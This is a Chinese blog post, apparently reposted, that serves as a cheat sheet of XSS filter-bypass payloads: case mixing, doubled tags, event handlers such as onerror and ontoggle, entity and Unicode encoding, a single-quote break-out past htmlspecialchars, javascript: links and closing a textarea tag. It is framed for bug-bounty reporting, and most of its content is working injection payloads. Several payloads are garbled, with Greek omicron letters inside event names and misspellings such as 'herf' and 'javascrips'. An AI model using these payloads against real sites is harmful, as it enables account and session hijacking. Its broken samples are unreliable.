当前位置:   article > 正文

xss绕过

xss绕过

 1、大小写绕过

HTML对标签大小写不敏感,可以利用大小写混用绕过
例如:<script>改为<ScRiPt> 

2、空格回车TAB

例如:js伪协议javascript:alert('xss');可以改为java script:alert('xss');

3、双写绕过

有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签
例如:<script>改为<scr<script>ipt>
同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload
例如:<script>改为<scr<!---test--->ipt>

4、事件绕过

就是加入一些事件  此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick

事件    描述
onclick    在用户使用鼠标左键点击对象时触发
ondblclick    用户双击对象时触发
onmousedown    用户用任何鼠标按键单击对象时触发
onmouseenter/onmouseover    用户将鼠标指针移动到对象内时触发
onmouseleave/onmouseout    用户将鼠标移出对象边界时触发
onmousemove    用户将鼠标划过对象时触发
onmouseup    用户在鼠标位于对象之上时释放鼠标按钮触发
onmousewheel    鼠标滚轮按钮旋转时触发
onpaste    用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发
onpropertychange    在对象上发生对象属性更改时触发
onkeydown    用户按下键盘按键时触发
onerror    装载文档或图像的过程中发生错误时触发
onload    加载完毕自动触发

非黑名单标签和事件
<img> 
payload:<img src=1 οnerrοr=alert("xss");>


<input>
payload: <input οnfοcus="alert('xss');"> 
         <input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件
         <input οnfοcus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件


<details>
payload: <details οntοggle="alert('xss');">
         <details open οntοggle="alert('xss');"> #使用open属性触发ontoggle事件 

    <svg>
    payload: <svg οnlοad=alert("xss");>


    <iframe>
    payload: <iframe οnlοad=alert("xss");></iframe>

<body>
payload: <body/οnlοad=alert("xss");>
 

5、编码绕过 

  js编码、base64编码、url编码、html编码

   思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。(注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的)

例1:一次编码案例

  1. #使用事件属性onerror()的原始payload:
  2. <img src=# onerror=alert"('yangshuang')"/>
  3. #使用HTML_ENTITY编码后的payload:
  4. <a src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>

例2:多次编码案例解析如下编码

  1. #原始payload
  2. <a herf="javascrips:alert(XSS)"> </a>
  3. #使用unicode的UTF-16编码alert这个字符
  4. <a herf="javascrips:\u0061\u006C\u0065\u0072\u0074(XSS)"> </a>
  5. #再用url编码alert的中间结果
  6. <a herf="javascrips:%5Cu0061%5Cu006C%5Cu0065%5Cu0072%5Cu0074(XSS)"> </a>
  7. #最后用html实体编码,再编码整个payload
  8. 太长了,略

6)htmlspecialchars()函数绕过:

  1. #该函数的语法:
  2. htmlspecialchars(string,flags,character-set,double_encode)
  3. #可用的quotestyle类型:
  4. ENT_COMPAT - 默认。仅编码双引号
  5. ENT_QUOTES - 编码双引号和单引号
  6. ENT_NOQUOTES - 不编码任何引号
  7. #预定义的字符是:
  8. & (和号) 成为 &amp
  9. " (双引号) 成为 &quot
  10. ’ (单引号) 成为 &#039
  11. < (小于) 成为 &lt
  12. > (大于) 成为 &gt

过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

  1. # 默认配置下,可使用以下语句绕过:
  2. q' onclick='alert(111)'

6、伪协议

实战日管理员难顶,但是你提交src的话 还是会收的

他过滤了on函数这些 肯定用不了 但是可以用伪协议

<a href="javascript:alert(1)">1</a>

<iframe src="javascript:alert(1)">

<img src="javascript:alert('xss')">    
<table background="javascript:alert('xss')"></table>

7、拆分关键字

window["al" + "ert"]

8、<textarea>标签绕过
后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内
那我们就可通过闭合标签绕过   </textarea><script>alert("xx")</script><textarea>

                                     

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/921620
推荐阅读
相关标签
  

闽ICP备14008679号